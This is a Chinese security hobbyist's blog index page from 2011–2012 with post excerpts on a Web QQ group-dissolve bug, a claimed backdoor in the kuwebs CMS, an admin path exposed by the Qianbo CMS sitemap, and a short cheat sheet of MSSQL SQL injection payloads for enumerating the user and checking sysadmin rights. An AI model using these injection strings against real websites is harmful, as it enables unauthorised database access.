显示下一条  |  关闭

小猪太子--网易博客

关注网络安全,低调求发展。

 
 
 
 
 
 

腾讯QQ群强制解散BUG

2012-3-18 12:30:31 阅读265 评论0 182012/03 Mar18

  WEB QQ出来很长一段时间了,BUG不断,之前耶稣大牛分享了一个WEB QQ 溢出的BUG。今天小弟无意中发现,在WEB QQ中解散QQ群很简单。

首先你是群主身份,登陆WEB QQ 在群上面右击,退出群。好了,群解散了。。。

如果是在客户端的话解散群要验证码还有密码保护等等。

不知道这算不算BUG,但是我确定这个跟客户端产生了冲突了。

 

                                                             

作者  | 2012-3-18 12:30:31 | 阅读(265) |评论(0) | 阅读全文>>

买东西,去哪里?淘宝呗!

2012-2-28 10:08:43 阅读120 评论0 282012/02 Feb28

淘宝内部买东西都是在这,轻松看清所有的物美价廉的好东西,和服务态度优秀的皇冠店铺。
 
淘宝皇冠店铺 
|
信誉店铺导航
|

作者  | 2012-2-28 10:08:43 | 阅读(120) |评论(0) | 阅读全文>>

kuwebs酷纬企业网站管理系统发现源码内置后门

2012-2-18 23:21:57 阅读100 评论0 182012/02 Feb18

这段时间一直忙碌运维B2B平台的事情,所以一直没有跟大家分享BUG ,希望理解。

现在送个0DAY,希望大家继续关注我。小猪太子博客 http://t00ls.blog.163.com/ 
------------------------------------------------------------------------------------------------------------

作者  | 2012-2-18 23:21:57 | 阅读(100) |评论(0) | 阅读全文>>

常用的一些注入命令,方便一下大家

2011-12-3 17:45:12 阅读98 评论0 32011/12 Dec3

字符类型
' and char(124)%2Buser%2Bchar(124)=0 and ''='

搜索类型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='

爆用户名
 and user>0
' and user>0 and ''='

检测是否为SA权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --

检测是不是MSSQL数据库
and exists (select * from sysobjects);-- 

作者  | 2011-12-3 17:45:12 | 阅读(98) |评论(0) | 阅读全文>>

千博cms地图导致后台和编辑器暴漏

2011-11-6 1:53:30 阅读130 评论0 62011/11 Nov6

简要描述:

三茗网络科技有限公司做的全是千博CMS开源的,Admin_SiteMap.asp文件没有过滤后台地址而导致漏洞


详细说明:

网站是千博CMS开源的,因为没有设置Admin_SiteMap.asp过滤后台,从而导致后台和编辑器暴漏在网站地图中。


漏洞证明:


如图所示

千博cms地图导致后台和编辑器暴漏 - 小猪太子 - 小猪太子S 博客
 
修复方案:

作者  | 2011-11-6 1:53:30 | 阅读(130) |评论(0) | 阅读全文>>

查看所有日志>>

 
 
 
 
 
 

自定义模块

 
 
模块内容加载中...
 
 
 
 
 
 
 

广东省 东莞市 金牛座

 发消息  写留言

 
看起来没什么新鲜的,其貌不扬,个头一般,没獠牙,呼吸空气,肋下没逆鳞,吃的是碳水化合物,看构造变形的可能性也不大,人畜无害的家伙。
 
近期心愿银行卡小数点前面的数字再涨几位!
专长技能吃饭,睡觉。
博客等级加载中...
今日访问加载中...
总访问量加载中...
最后登录加载中...
 
 
 
 
 

日志分类

 
 
日志分类列表加载中...
 
 
 
 
 

自定义模块

 
 
模块内容加载中...
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2012

   
创建博客 登录  
 关注